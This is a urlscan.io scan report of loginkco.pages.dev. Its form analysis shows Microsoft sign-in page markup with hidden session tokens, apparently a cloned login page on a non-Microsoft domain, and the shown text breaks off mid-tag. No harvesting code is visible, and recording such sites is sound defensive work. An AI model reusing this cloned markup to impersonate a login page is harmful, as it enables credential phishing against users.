loginkco.pages.dev Open in urlscan Pro
172.66.47.5  Public Scan

URL: https://loginkco.pages.dev/
Submission: On April 23 via api from US — Scanned from DE

Form analysis 6 forms found in the DOM

Name: f1POST https://login.microsoftonline.com/common/login

<form name="f1" id="i0281" novalidate="novalidate" spellcheck="false" method="post" target="_top" autocomplete="off"
  data-bind="visible: !isLoginPageHidden(), autoSubmit: forceSubmit, attr: { action: postUrl }, ariaHidden: !!activeDialog(), css: { 'provide-min-height': svr.fUseMinHeight }" action="https://login.microsoftonline.com/common/login"
  class="provide-min-height">
  <!-- ko withProperties: { '$loginPage': $data } -->
  <div class="login-paginated-page" data-bind="component: { name: 'master-page',
        publicMethods: masterPageMethods,
        params: {
            serverData: svr,
            showButtons: svr.fShowButtons,
            showFooterLinks: true,
            useWizardBehavior: svr.fUseWizardBehavior,
            handleWizardButtons: false,
            password: password,
            hideFromAria: ariaHidden },
        event: {
            footerAgreementClick: footer_agreementClick } }"><!--  -->
    <!-- ko ifnot: useLayoutTemplates --><!-- /ko -->
    <!-- ko if: useLayoutTemplates -->
    <!-- ko withProperties: { '$page': $parent } -->
    <!-- ko if: isLightboxTemplate() -->
    <div id="lightboxTemplateContainer" data-bind="component: { name: 'lightbox-template', params: { serverData: svr, showHeader: $page.showHeader(), headerLogo: $page.headerLogo() } }, css: { 'provide-min-height': svr.fUseMinHeight }"><!--  -->
      <div id="lightboxBackgroundContainer" data-bind="css: { 'provide-min-height': svr.fUsePlaywrightMinHeight },
    component: { name: 'background-image-control',
        publicMethods: $page.backgroundControlMethods,
        event: { load: $page.backgroundImageControl_onLoad } }">
        <div class="background-image-holder" role="presentation" data-bind="css: { app: isAppBranding }, style: { background: backgroundStyle }">
          <!-- ko if: smallImageUrl --><!-- /ko -->
          <!-- ko if: backgroundImageUrl --><!-- /ko -->
        </div>
      </div>
      <!-- ko if: svr.iBannerEnvironment --><!-- /ko -->
      <!-- ko withProperties: { '$masterPageContext': $parentContext } -->
      <div class="outer" data-bind="css: { 'app': $page.backgroundLogoUrl }">
        <!-- ko if: showHeader --><!-- /ko -->
        <div class="template-section main-section">
          <div data-bind="externalCss: { 'middle': true }" class="middle ext-middle">
            <div class="full-height" data-bind="component: { name: 'content-control', params: { serverData: svr, isVerticalSplitTemplate: $page.isVerticalSplitTemplate(), hasHeader: showHeader } }"><!--  -->
              <!-- ko withProperties: { '$content': $data } -->
              <div class="flex-column">
                <!-- ko if: $page.paginationControlHelper.showBackgroundLogoHolder --><!-- /ko -->
                <!-- ko if: $page.paginationControlHelper.showPageLevelTitleControl --><!-- /ko -->
                <div class="win-scroll">
                  <div id="lightbox" data-bind="
            animationEnd: $page.paginationControlHelper.animationEnd,
            externalCss: { 'sign-in-box': true },
            css: {
                'inner':  $content.isVerticalSplitTemplate,
                'vertical-split-content': $content.isVerticalSplitTemplate,
                'app': $page.backgroundLogoUrl,
                'wide': $page.paginationControlHelper.useWiderWidth,
                'fade-in-lightbox': $page.fadeInLightBox,
                'has-popup': $page.showFedCredAndNewSession &amp;&amp; ($page.showFedCredButtons() || $page.newSession()),
                'transparent-lightbox': $page.backgroundControlMethods() &amp;&amp; $page.backgroundControlMethods().useTransparentLightBox,
                'lightbox-bottom-margin-debug': $page.showDebugDetails,
                'has-header': $content.hasHeader }" class="sign-in-box ext-sign-in-box">
                    <!-- ko template: { nodes: $masterPageContext.$componentTemplateNodes, data: $page } --><!--  -->
                    <!-- ko ifnot: useLayoutTemplates --><!-- /ko -->
                    <!-- ko if: useLayoutTemplates -->
                    <!-- ko withProperties: { '$page': $parent } -->
                    <!-- ko if: isLightboxTemplate() -->
                    <div id="lightboxTemplateContainer"
                      data-bind="component: { name: 'lightbox-template', params: { serverData: svr, showHeader: $page.showHeader(), headerLogo: $page.headerLogo() } }, css: { 'provide-min-height': svr.fUseMinHeight }"><!--  -->
                      <div id="lightboxBackgroundContainer" data-bind="css: { 'provide-min-height': svr.fUsePlaywrightMinHeight },
    component: { name: 'background-image-control',
        publicMethods: $page.backgroundControlMethods,
        event: { load: $page.backgroundImageControl_onLoad } }">
                        <div class="background-image-holder" role="presentation" data-bind="css: { app: isAppBranding }, style: { background: backgroundStyle }">
                          <!-- ko if: smallImageUrl --><!-- /ko -->
                          <!-- ko if: backgroundImageUrl --><!-- /ko -->
                        </div>
                      </div>
                      <!-- ko if: svr.iBannerEnvironment --><!-- /ko -->
                      <!-- ko withProperties: { '$masterPageContext': $parentContext } -->
                      <div class="outer" data-bind="css: { 'app': $page.backgroundLogoUrl }">
                        <!-- ko if: showHeader --><!-- /ko -->
                        <div class="template-section main-section">
                          <div data-bind="externalCss: { 'middle': true }" class="middle ext-middle">
                            <div class="full-height" data-bind="component: { name: 'content-control', params: { serverData: svr, isVerticalSplitTemplate: $page.isVerticalSplitTemplate(), hasHeader: showHeader } }"><!--  -->
                              <!-- ko withProperties: { '$content': $data } -->
                              <div class="flex-column">
                                <!-- ko if: $page.paginationControlHelper.showBackgroundLogoHolder --><!-- /ko -->
                                <!-- ko if: $page.paginationControlHelper.showPageLevelTitleControl --><!-- /ko -->
                                <div class="win-scroll">
                                  <div id="lightbox" data-bind="
            animationEnd: $page.paginationControlHelper.animationEnd,
            externalCss: { 'sign-in-box': true },
            css: {
                'inner':  $content.isVerticalSplitTemplate,
                'vertical-split-content': $content.isVerticalSplitTemplate,
                'app': $page.backgroundLogoUrl,
                'wide': $page.paginationControlHelper.useWiderWidth,
                'fade-in-lightbox': $page.fadeInLightBox,
                'has-popup': $page.showFedCredAndNewSession &amp;&amp; ($page.showFedCredButtons() || $page.newSession()),
                'transparent-lightbox': $page.backgroundControlMethods() &amp;&amp; $page.backgroundControlMethods().useTransparentLightBox,
                'lightbox-bottom-margin-debug': $page.showDebugDetails,
                'has-header': $content.hasHeader }" class="sign-in-box ext-sign-in-box">
                                    <!-- ko template: { nodes: $masterPageContext.$componentTemplateNodes, data: $page } --><!--  -->
                                    <!-- ko ifnot: useLayoutTemplates --><!-- /ko -->
                                    <!-- ko if: useLayoutTemplates -->
                                    <!-- ko withProperties: { '$page': $parent } -->
                                    <!-- ko if: isLightboxTemplate() -->
                                    <div id="lightboxTemplateContainer"
                                      data-bind="component: { name: 'lightbox-template', params: { serverData: svr, showHeader: $page.showHeader(), headerLogo: $page.headerLogo() } }, css: { 'provide-min-height': svr.fUseMinHeight }"
                                      class="provide-min-height"><!--  -->
                                      <div id="lightboxBackgroundContainer" data-bind="css: { 'provide-min-height': svr.fUsePlaywrightMinHeight },
    component: { name: 'background-image-control',
        publicMethods: $page.backgroundControlMethods,
        event: { load: $page.backgroundImageControl_onLoad } }">
                                        <div class="background-image-holder" role="presentation" data-bind="css: { app: isAppBranding }, style: { background: backgroundStyle }">
                                          <!-- ko if: smallImageUrl --><!-- /ko -->
                                          <!-- ko if: backgroundImageUrl --><!-- /ko -->
                                        </div>
                                      </div>
                                      <!-- ko if: svr.iBannerEnvironment --><!-- /ko -->
                                      <!-- ko withProperties: { '$masterPageContext': $parentContext } -->
                                      <div class="outer" data-bind="css: { 'app': $page.backgroundLogoUrl }">
                                        <!-- ko if: showHeader --><!-- /ko -->
                                        <div class="template-section main-section">
                                          <div data-bind="externalCss: { 'middle': true }" class="middle ext-middle">
                                            <div class="full-height" data-bind="component: { name: 'content-control', params: { serverData: svr, isVerticalSplitTemplate: $page.isVerticalSplitTemplate(), hasHeader: showHeader } }"><!--  -->
                                              <!-- ko withProperties: { '$content': $data } -->
                                              <div class="flex-column">
                                                <!-- ko if: $page.paginationControlHelper.showBackgroundLogoHolder --><!-- /ko -->
                                                <!-- ko if: $page.paginationControlHelper.showPageLevelTitleControl --><!-- /ko -->
                                                <div class="win-scroll">
                                                  <div id="lightbox" data-bind="
            animationEnd: $page.paginationControlHelper.animationEnd,
            externalCss: { 'sign-in-box': true },
            css: {
                'inner':  $content.isVerticalSplitTemplate,
                'vertical-split-content': $content.isVerticalSplitTemplate,
                'app': $page.backgroundLogoUrl,
                'wide': $page.paginationControlHelper.useWiderWidth,
                'fade-in-lightbox': $page.fadeInLightBox,
                'has-popup': $page.showFedCredAndNewSession &amp;&amp; ($page.showFedCredButtons() || $page.newSession()),
                'transparent-lightbox': $page.backgroundControlMethods() &amp;&amp; $page.backgroundControlMethods().useTransparentLightBox,
                'lightbox-bottom-margin-debug': $page.showDebugDetails,
                'has-header': $content.hasHeader }" class="sign-in-box ext-sign-in-box">
                                                    <!-- ko template: { nodes: $masterPageContext.$componentTemplateNodes, data: $page } -->
                                                    <!-- ko if: svr.fShowCookieBanner --><!-- /ko -->
                                                    <div class="lightbox-cover" data-bind="css: { 'disable-lightbox': svr.fAllowGrayOutLightBox &amp;&amp; showLightboxProgress() }"></div>
                                                    <!-- ko if: showLightboxProgress --><!-- /ko -->
                                                    <!-- ko if: loadBannerLogo --><!-- /ko -->
                                                    <!-- ko if: svr.strLWADisclaimerMsg && paginationControlHelper.showLwaDisclaimer() --><!-- /ko -->
                                                    <!-- ko if: asyncInitReady --><!-- /ko -->
                                                    <input type="hidden" name="ps" data-bind="value: postedLoginStateViewId" value="">
                                                    <input type="hidden" name="psRNGCDefaultType" data-bind="value: postedLoginStateViewRNGCDefaultType" value="">
                                                    <input type="hidden" name="psRNGCEntropy" data-bind="value: postedLoginStateViewRNGCEntropy" value="">
                                                    <input type="hidden" name="psRNGCSLK" data-bind="value: postedLoginStateViewRNGCSLK" value="">
                                                    <!-- ko if: svr.sCanaryTokenName && !svr.fSkipRenderingNewCanaryToken -->
                                                    <input type="hidden" data-bind="attr: { name: svr.sCanaryTokenName }, value: svr.canary" name="canary"
                                                      value="8F+CZl4p9TSCA2YLSHjgTWzRB5nb7rEiD0eYIjLBUew=4:1:CANARY:tXT4DgwONWUYXiHGxgAncrajLWfHNseHt/FV4PVRyOg=">
                                                    <!-- /ko -->
                                                    <!-- ko if: !svr.sCanaryTokenName || svr.fSkipRenderingNewCanaryToken --><!-- /ko -->
                                                    <input type="hidden" name="ctx" data-bind="value: ctx"
                                                      value="rQQIARAAjZE9TBNhHMb7cu0BFaVh0cSFXJzQa-_j7Xu9RobrBxyhULh-UY1p2uO99sr13tK70gJhcHMkToZNRiajicFOTsZgogwOpi6MhERjjAPRxTYujjzDkyf5_5Mn-T0zFB_ko3e4fxLYobOcYfCsjofpP7Wm_IH-75uP7z-9fTz39WOWpF_3DoB_EWMLbwd10jgCTM11m040FCJt1yJkI0gMw9SxiMLDe4h0yqFjAE4BOAfgaERCYgTKUJJFHvF8WBCRHERhOSIjQWKNiiGxsCJybITnIcshgZNlDpYHf_2RybTSdmvC0EjL3ME_R8YN0mqUmsRxDyg7UdyKJYtKNbEUU2KikiEL-QxSumlFQxFZraFKI2JsZ9rdbrO2LmirqUVrCea1hc2NpqLpXMexW8s5mK_rUmoJoqqla5lVVU0mk5vzli1nxTi2HNiV6moYlfiSckRdCd9Lih4waBD7hKJJE9vm-qkXnHnBhXeC80XHxvyByVuj055LLzj0DUh_mfjse58U46_ePD9En6Y9J75QZO5u_IEFm3I2E1eEYiqj1qvZwo4WC9sVqZU0ExwuLtRTsRzuzMIov0-DfZru0eNjVMDDUPEV_pwGP2jwZNTTG7_CUqfXQH8C-mndKpsNZ2pmlzHXSy7ZwDYT3WW6Daek68O0Vbba2GGiD5lBBfNob2_v7XXP5Y1vf959OPj17Lt6MXnPXcvCRLWTXi7kimumOt-tKrbeKtdTBUNddrDqhubycCWvbaersy8Cnr81">
                                                    <input type="hidden" name="hpgrequestid" data-bind="value: svr.sessionId" value="05d40cd8-45c8-4333-b3b9-a1a236cf2000">
                                                    <input type="hidden" id="i0327" data-bind="attr: { name: svr.sFTName }, value: flowToken" name="flowToken"
                                                      value="AQABIQEAAADnfolhJpSnRYB1SVj-Hgd8XgVgDvTBoFdIkBM_TjNQa3k8fhUPYWO1gpN6gb8jQIraBAjpXjWVWil63TK0us0OxTlsIqYlZN49oyiwryz00LRDMz24daHzMBU4S0VO7ty0jZFEWER6Al06uAt4OGSZ9EjLbs9IydXNmi3rMpYglaORmn0Eju9toyOUtrv8UDh37-uJloIgQCgTV5ovfqtq-UsIwNUMY4dIUVXVBGteAYsFlZnpNFDTir8KGDdMea8rdaK3HRmCMXwS5KmKW5qXvFoOJWRVVS7z1txykF5JRVi4X3sRNlN79pMbJ4Jn3ca1yU8xF0sMTJbbSHrT5MoSMl0ilLOzV7lE40SyEVM-zyGnYUEbWkl1sRMlDe2lAHkKQaII9vJwmav9TL8n6E8fi94f4QAygnrH8FX8pS5uNKEU_RCx_a61lFgRXJEy5QSoLXIxT0PcGQdbhh7J_rzKR6Z2ETxQUMmCm6pNFb7tfyAA">
                                                    <input type="hidden" name="PPSX" data-bind="value: svr.sRandomBlob" value="">
                                                    <input type="hidden" name="NewUser" value="1">
                                                    <input type="hidden" name="FoundMSAs" data-bind="value: svr.sFoundMSAs" value="">
                                                    <input type="hidden" name="fspost" data-bind="value: svr.fPOST_ForceSignin ? 1 : 0" value="0">
                                                    <input type="hidden" name="i21" data-bind="value: wasLearnMoreShown() ? 1 : 0" value="0">
                                                    <input type="hidden" name="CookieDisclosure" data-bind="value: svr.fShowCookieBanner ? 1 : 0" value="0">
                                                    <input type="hidden" name="IsFidoSupported" data-bind="value: isFidoSupported() ? 1 : 0" value="1">
                                                    <input type="hidden" name="isSignupPost" data-bind="value: isSignupPost() ? 1 : 0" value="0">
                                                    <!-- ko ifnot: svr.fShouldSupportTargetCredentialForRecovery --><!-- /ko -->
                                                    <!-- ko if: svr.fEnableDFPIntegration --><!-- /ko -->
                                                    <!-- ko if: svr.fShouldSupportTargetCredentialForRecovery && targetCredentialForRecovery() --><!-- /ko -->
                                                    <div data-bind="component: { name: 'instrumentation-control',
            publicMethods: instrumentationMethods,
            params: { serverData: svr } }">
                                                      <input type="hidden" name="i19" data-bind="value: timeOnPage" value="">
                                                    </div>
                                                    <!-- /ko -->
                                                  </div>
                                                  <!-- ko if: $page.showFedCredAndNewSession -->
                                                  <!-- ko ifnot: svr.fUsePromotedFedCredTypesArray --><!-- /ko -->
                                                  <!-- ko if: svr.fUsePromotedFedCredTypesArray -->
                                                  <!-- ko if: $page.showFedCredButtons --><!-- /ko -->
                                                  <!-- ko if: $page.showSignupFedCredButtons --><!-- /ko -->
                                                  <!-- /ko -->
                                                  <!-- ko if: svr.fIsQrCodePinSupported --><!-- /ko -->
                                                  <!-- ko if: $page.newSession --><!-- /ko -->
                                                  <!-- /ko -->
                                                  <!-- ko if: $page.showDebugDetails --><!-- /ko -->
                                                </div>
                                              </div>
                                              <!-- /ko -->
                                            </div>
                                          </div>
                                        </div>
                                        <!-- ko if: $page.paginationControlHelper.showFooterControl --><!-- /ko -->
                                      </div>
                                      <!-- /ko -->
                                    </div>
                                    <!-- /ko -->
                                    <!-- ko if: isVerticalSplitTemplate() && isTemplateLoaded() --><!-- /ko -->
                                    <!-- /ko -->
                                    <!-- /ko --><!-- /ko -->
                                  </div>
                                  <!-- ko if: $page.showFedCredAndNewSession -->
                                  <!-- ko ifnot: svr.fUsePromotedFedCredTypesArray -->
                                  <!-- ko if: $page.showFedCredButtons -->
                                  <div data-bind="css: { 'app': $page.backgroundLogoUrl }, externalCss: { 'promoted-fed-cred-box': true }">
                                    <div class="promoted-fed-cred-content" data-bind="css: {
                'animate': $page.useCssAnimations &amp;&amp; $page.animate(),
                'slide-out-next': $page.animate.isSlideOutNext,
                'slide-in-next': $page.animate.isSlideInNext,
                'slide-out-back': $page.animate.isSlideOutBack,
                'slide-in-back': $page.animate.isSlideInBack,
                'app': $page.backgroundLogoUrl }">
                                      <!-- ko foreach: $page.otherSigninOptions -->
                                      <div class="row tile">
                                        <div class="table" role="button" tabindex="0" data-bind="
                        css: { 'list-item': svr.fSupportWindowsStyles },
                        pressEnter: $page.otherSigninOptionsButton_onClick,
                        click: $page.otherSigninOptionsButton_onClick,
                        ariaLabel: $data.text">
                                          <div class="table-row">
                                            <div class="table-cell tile-img medium">
                                              <!-- ko component: 'accessible-image-control' -->
                                              <!-- ko if: svr.fTenantBrandingCdnAddEventHandlers -->
                                              <img class="tile-img medium" role="presentation" data-bind="addEventHandlers, attr: { src: $data.lightIconUrl }">
                                              <img class="tile-img medium" role="presentation" data-bind="addEventHandlers, attr: { src: $data.darkIconUrl }">
                                              <!-- /ko -->
                                              <!-- ko ifnot: svr.fTenantBrandingCdnAddEventHandlers -->
                                              <img class="tile-img medium" role="presentation" data-bind="attr: { src: $data.lightIconUrl }">
                                              <img class="tile-img medium" role="presentation" data-bind="attr: { src: $data.darkIconUrl }">
                                              <!-- /ko -->
                                              <!-- /ko -->
                                            </div>
                                            <div class="table-cell text-left" data-bind="css: { 'content': !svr.fSupportWindowsStyles }">
                                              <div data-bind="
                                    text: $data.text,
                                    attr: { 'data-test-id': $data.testId }"></div>
                                            </div>
                                          </div>
                                        </div>
                                      </div>
                                      <!-- /ko -->
                                    </div>
                                  </div>
                                  <!-- /ko -->
                                  <!-- /ko -->
                                  <!-- ko if: svr.fUsePromotedFedCredTypesArray -->
                                  <!-- ko if: $page.showFedCredButtons -->
                                  <div data-bind="component: { name: 'fed-cred-buttons-control',
            params: {
                serverData: svr,
                fedCredOptions: $page.otherSigninOptions },
            event: {
                fedCredButtonClick: $page.otherSigninOptionsButton_onClick } }">
                                  </div>
                                  <!-- /ko -->
                                  <!-- ko if: $page.showSignupFedCredButtons -->
                                  <div data-bind="component: { name: 'fed-cred-buttons-control',
            params: {
                serverData: svr,
                fedCredOptions: $page.otherSignupOptions },
            event: {
                fedCredButtonClick: $page.otherSignupOptionsButton_onClick } }">
                                  </div>
                                  <!-- /ko -->
                                  <!-- /ko -->
                                  <!-- ko if: svr.fIsQrCodePinSupported -->
                                  <!-- ko if: $page.showQrCodeSignInButton -->
                                  <div data-bind="component: { name: 'fed-cred-buttons-control',
            params: {
                serverData: svr,
                fedCredOptions: [$page.qrCodeSigninOption] },
            event: {
                fedCredButtonClick: $page.qrCodePinSigninButton_onClick,
                fedCredHelpButtonClick: $page.qrCodePinHelpButton_onClick } }">
                                  </div>
                                  <div data-bind="component: { name: 'qr-code-pin-help-dialog-content-control',
            event: {
                registerDialog: $page.view_onRegisterDialog,
                unregisterDialog: $page.view_onUnregisterDialog } }">
                                  </div>
                                  <!-- /ko -->
                                  <!-- /ko -->
                                  <!-- ko if: $page.newSession -->
                                  <div class="new-session-popup-v2sso" role="alert" data-bind="css: { 'app': $page.backgroundLogoUrl }">
                                    <div class="form-group" id="NewSessionTitle" data-bind="text: str['TILE_STR_AsyncTileText_Title']"></div>
                                    <div class="row tile">
                                      <div class="table" id="newSessionLink" data-bind="
                    css: { 'list-item': svr.fSupportWindowsStyles },
                    click: $page.newSession_onClick,
                    ariaDescribedBy: 'NewSessionTitle'" tabindex="0">
                                        <div class="table-row">
                                          <div class="table-cell tile-img">
                                            <img class="tile-img" role="presentation" pngsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/picker_account_msa_7a63b3ce03943629f052226aaa378291.png"
                                              svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/picker_account_msa_3b879963b4f70829fd7a25cbc9519792.svg" data-bind="imgSrc">
                                          </div>
                                          <div class="table-cell text-left" data-bind="css: { 'content': !svr.fSupportWindowsStyles }">
                                            <div data-bind="text: $page.newSessionInfo().unsafe_newSessionFullName"></div>
                                            <!-- ko if: $page.newSessionInfo().unsafe_newSessionDisplayName -->
                                            <div><small data-bind="text: $page.newSessionInfo().unsafe_newSessionDisplayName"></small></div>
                                            <!-- /ko -->
                                            <div><small data-bind="text: str['TILE_STR_Active']"></small></div>
                                          </div>
                                        </div>
                                      </div>
                                    </div>
                                  </div>
                                  <!-- /ko -->
                                  <!-- /ko -->
                                  <!-- ko if: $page.showDebugDetails -->
                                  <div data-bind="component: { name: 'debug-details-control',
            publicMethods: $page.debugDetailsMethods,
            params: {
                serverData: svr,
                debugDetails: $page.debugDetails,
                useWiderWidth: $page.paginationControlHelper.useWiderWidth,
                isDebugTracingEnabled: $page.isDebugTracingEnabled },
            event: {
                closeBanner: $page.closeDebugDetails_onClick,
                setDebugTracing: $page.setDebugTracing_onClick } }">
                                    <!-- ko if: $page.showConditionalAccessDebugDetails -->
                                    <div data-bind="
                htmlWithBindings: html['CT_STR_AppName'],
                childBindings: {
                    'caAppName': { css: {'bold': true} } }">
                                    </div>
                                    <div data-bind="
                htmlWithBindings: html['CT_STR_AppId'],
                childBindings: {
                    'caAppId': { css: {'bold': true} } }">
                                    </div>
                                    <div data-bind="
                htmlWithBindings: html['CT_STR_IpAddress'],
                childBindings: {
                    'caIpAddress': { css: {'bold': true} } }">
                                    </div>
                                    <!-- ko if: svr.sIpAddressFromApp -->
                                    <div data-bind="
                htmlWithBindings: html['CT_STR_IpAddressFromApp'],
                childBindings: {
                    'caIpAddressFromApp': { css: {'bold': true} } }">
                                    </div>
                                    <!-- /ko -->
                                    <div data-bind="
                htmlWithBindings: html['CT_STR_DeviceId'],
                childBindings: {
                    'caDeviceId': { css: {'bold': true} } }">
                                    </div>
                                    <div data-bind="
                htmlWithBindings: html['CT_STR_DevicePlatform'],
                childBindings: {
                    'caDevicePlatform': { css: {'bold': true} } }">
                                    </div>
                                    <div data-bind="
                htmlWithBindings: html['CT_STR_DeviceState'],
                childBindings: {
                    'caDeviceState': { css: {'bold': true} } }">
                                    </div>
                                    <!-- /ko -->
                                    <!-- ko if: $page.paginationControlHelper.showErrorPageDebugDetails -->
                                    <!-- ko if: svr.strAppDisplayName -->
                                    <div>
                                      <span class="bold">App name: </span>
                                      <span data-bind="text: svr.strAppDisplayName"></span>
                                    </div>
                                    <!-- /ko -->
                                    <!-- ko if: svr.strDevicePlatformForUI -->
                                    <div>
                                      <span class="bold">Device platform: </span>
                                      <span data-bind="text: svr.strDevicePlatformForUI"></span>
                                    </div>
                                    <!-- /ko -->
                                    <!-- ko if: svr.strDeviceState -->
                                    <div>
                                      <span class="bold">Device state: </span>
                                      <span data-bind="text: svr.strDeviceState"></span>
                                    </div>
                                    <!-- /ko -->
                                    <!-- ko if: svr.strClientIP -->
                                    <div>
                                      <span class="bold">IP address: </span>
                                      <span data-bind="text: svr.strClientIP"></span>
                                    </div>
                                    <!-- /ko -->
                                    <!-- ko if: svr.strCurrentUser -->
                                    <div>
                                      <span class="bold">Signed in as: </span>
                                      <span data-bind="text: svr.strCurrentUser"></span>
                                    </div>
                                    <!-- /ko -->
                                    <!-- /ko -->
                                  </div>
                                  <!-- /ko -->
                                </div>
                              </div>
                              <!-- /ko -->
                            </div>
                          </div>
                        </div>
                        <!-- ko if: $page.paginationControlHelper.showFooterControl -->
                        <div id="footer" role="contentinfo" data-bind="
        externalCss: {
            'footer': true,
            'has-background': !$page.useDefaultBackground() &amp;&amp; $page.showFooter(),
            'background-always-visible': $page.backgroundLogoUrl }">
                          <div data-bind="component: { name: 'footer-control',
            publicMethods: $page.footerMethods,
            params: {
                serverData: svr,
                useDefaultBackground: $page.useDefaultBackground(),
                hasDarkBackground: $page.backgroundLogoUrl(),
                showLinks: true,
                showFooter: $page.showFooter(),
                hideTOU: $page.hideTOU(),
                termsText: $page.termsText(),
                termsLink: $page.termsLink(),
                hidePrivacy: $page.hidePrivacy(),
                privacyText: $page.privacyText(),
                privacyLink: $page.privacyLink() },
            event: {
                agreementClick: $page.footer_agreementClick,
                showDebugDetails: $page.toggleDebugDetails_onClick } }">
                          </div>
                        </div>
                        <!-- /ko -->
                      </div>
                      <!-- /ko -->
                    </div>
                    <!-- /ko -->
                    <!-- ko if: isVerticalSplitTemplate() && isTemplateLoaded() -->
                    <div id="verticalSplitTemplateContainer"
                      data-bind="component: { name: 'vertical-split-template', params: { serverData: svr, showHeader: $page.showHeader(), headerLogo: $page.headerLogo() } }, css: { 'provide-min-height': svr.fUseMinHeight }">
                    </div>
                    <!-- /ko -->
                    <!-- /ko -->
                    <!-- /ko --><!-- /ko -->
                  </div>
                  <!-- ko if: $page.showFedCredAndNewSession -->
                  <!-- ko ifnot: svr.fUsePromotedFedCredTypesArray -->
                  <!-- ko if: $page.showFedCredButtons -->
                  <div data-bind="css: { 'app': $page.backgroundLogoUrl }, externalCss: { 'promoted-fed-cred-box': true }">
                    <div class="promoted-fed-cred-content" data-bind="css: {
                'animate': $page.useCssAnimations &amp;&amp; $page.animate(),
                'slide-out-next': $page.animate.isSlideOutNext,
                'slide-in-next': $page.animate.isSlideInNext,
                'slide-out-back': $page.animate.isSlideOutBack,
                'slide-in-back': $page.animate.isSlideInBack,
                'app': $page.backgroundLogoUrl }">
                      <!-- ko foreach: $page.otherSigninOptions -->
                      <div class="row tile">
                        <div class="table" role="button" tabindex="0" data-bind="
                        css: { 'list-item': svr.fSupportWindowsStyles },
                        pressEnter: $page.otherSigninOptionsButton_onClick,
                        click: $page.otherSigninOptionsButton_onClick,
                        ariaLabel: $data.text">
                          <div class="table-row">
                            <div class="table-cell tile-img medium">
                              <!-- ko component: 'accessible-image-control' -->
                              <!-- ko if: svr.fTenantBrandingCdnAddEventHandlers -->
                              <img class="tile-img medium" role="presentation" data-bind="addEventHandlers, attr: { src: $data.lightIconUrl }">
                              <img class="tile-img medium" role="presentation" data-bind="addEventHandlers, attr: { src: $data.darkIconUrl }">
                              <!-- /ko -->
                              <!-- ko ifnot: svr.fTenantBrandingCdnAddEventHandlers -->
                              <img class="tile-img medium" role="presentation" data-bind="attr: { src: $data.lightIconUrl }">
                              <img class="tile-img medium" role="presentation" data-bind="attr: { src: $data.darkIconUrl }">
                              <!-- /ko -->
                              <!-- /ko -->
                            </div>
                            <div class="table-cell text-left" data-bind="css: { 'content': !svr.fSupportWindowsStyles }">
                              <div data-bind="
                                    text: $data.text,
                                    attr: { 'data-test-id': $data.testId }"></div>
                            </div>
                          </div>
                        </div>
                      </div>
                      <!-- /ko -->
                    </div>
                  </div>
                  <!-- /ko -->
                  <!-- /ko -->
                  <!-- ko if: svr.fUsePromotedFedCredTypesArray -->
                  <!-- ko if: $page.showFedCredButtons -->
                  <div data-bind="component: { name: 'fed-cred-buttons-control',
            params: {
                serverData: svr,
                fedCredOptions: $page.otherSigninOptions },
            event: {
                fedCredButtonClick: $page.otherSigninOptionsButton_onClick } }">
                  </div>
                  <!-- /ko -->
                  <!-- ko if: $page.showSignupFedCredButtons -->
                  <div data-bind="component: { name: 'fed-cred-buttons-control',
            params: {
                serverData: svr,
                fedCredOptions: $page.otherSignupOptions },
            event: {
                fedCredButtonClick: $page.otherSignupOptionsButton_onClick } }">
                  </div>
                  <!-- /ko -->
                  <!-- /ko -->
                  <!-- ko if: svr.fIsQrCodePinSupported -->
                  <!-- ko if: $page.showQrCodeSignInButton -->
                  <div data-bind="component: { name: 'fed-cred-buttons-control',
            params: {
                serverData: svr,
                fedCredOptions: [$page.qrCodeSigninOption] },
            event: {
                fedCredButtonClick: $page.qrCodePinSigninButton_onClick,
                fedCredHelpButtonClick: $page.qrCodePinHelpButton_onClick } }">
                  </div>
                  <div data-bind="component: { name: 'qr-code-pin-help-dialog-content-control',
            event: {
                registerDialog: $page.view_onRegisterDialog,
                unregisterDialog: $page.view_onUnregisterDialog } }">
                  </div>
                  <!-- /ko -->
                  <!-- /ko -->
                  <!-- ko if: $page.newSession -->
                  <div class="new-session-popup-v2sso" role="alert" data-bind="css: { 'app': $page.backgroundLogoUrl }">
                    <div class="form-group" id="NewSessionTitle" data-bind="text: str['TILE_STR_AsyncTileText_Title']"></div>
                    <div class="row tile">
                      <div class="table" id="newSessionLink" data-bind="
                    css: { 'list-item': svr.fSupportWindowsStyles },
                    click: $page.newSession_onClick,
                    ariaDescribedBy: 'NewSessionTitle'" tabindex="0">
                        <div class="table-row">
                          <div class="table-cell tile-img">
                            <img class="tile-img" role="presentation" pngsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/picker_account_msa_7a63b3ce03943629f052226aaa378291.png"
                              svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/picker_account_msa_3b879963b4f70829fd7a25cbc9519792.svg" data-bind="imgSrc">
                          </div>
                          <div class="table-cell text-left" data-bind="css: { 'content': !svr.fSupportWindowsStyles }">
                            <div data-bind="text: $page.newSessionInfo().unsafe_newSessionFullName"></div>
                            <!-- ko if: $page.newSessionInfo().unsafe_newSessionDisplayName -->
                            <div><small data-bind="text: $page.newSessionInfo().unsafe_newSessionDisplayName"></small></div>
                            <!-- /ko -->
                            <div><small data-bind="text: str['TILE_STR_Active']"></small></div>
                          </div>
                        </div>
                      </div>
                    </div>
                  </div>
                  <!-- /ko -->
                  <!-- /ko -->
                  <!-- ko if: $page.showDebugDetails -->
                  <div data-bind="component: { name: 'debug-details-control',
            publicMethods: $page.debugDetailsMethods,
            params: {
                serverData: svr,
                debugDetails: $page.debugDetails,
                useWiderWidth: $page.paginationControlHelper.useWiderWidth,
                isDebugTracingEnabled: $page.isDebugTracingEnabled },
            event: {
                closeBanner: $page.closeDebugDetails_onClick,
                setDebugTracing: $page.setDebugTracing_onClick } }">
                    <!-- ko if: $page.showConditionalAccessDebugDetails -->
                    <div data-bind="
                htmlWithBindings: html['CT_STR_AppName'],
                childBindings: {
                    'caAppName': { css: {'bold': true} } }">
                    </div>
                    <div data-bind="
                htmlWithBindings: html['CT_STR_AppId'],
                childBindings: {
                    'caAppId': { css: {'bold': true} } }">
                    </div>
                    <div data-bind="
                htmlWithBindings: html['CT_STR_IpAddress'],
                childBindings: {
                    'caIpAddress': { css: {'bold': true} } }">
                    </div>
                    <!-- ko if: svr.sIpAddressFromApp -->
                    <div data-bind="
                htmlWithBindings: html['CT_STR_IpAddressFromApp'],
                childBindings: {
                    'caIpAddressFromApp': { css: {'bold': true} } }">
                    </div>
                    <!-- /ko -->
                    <div data-bind="
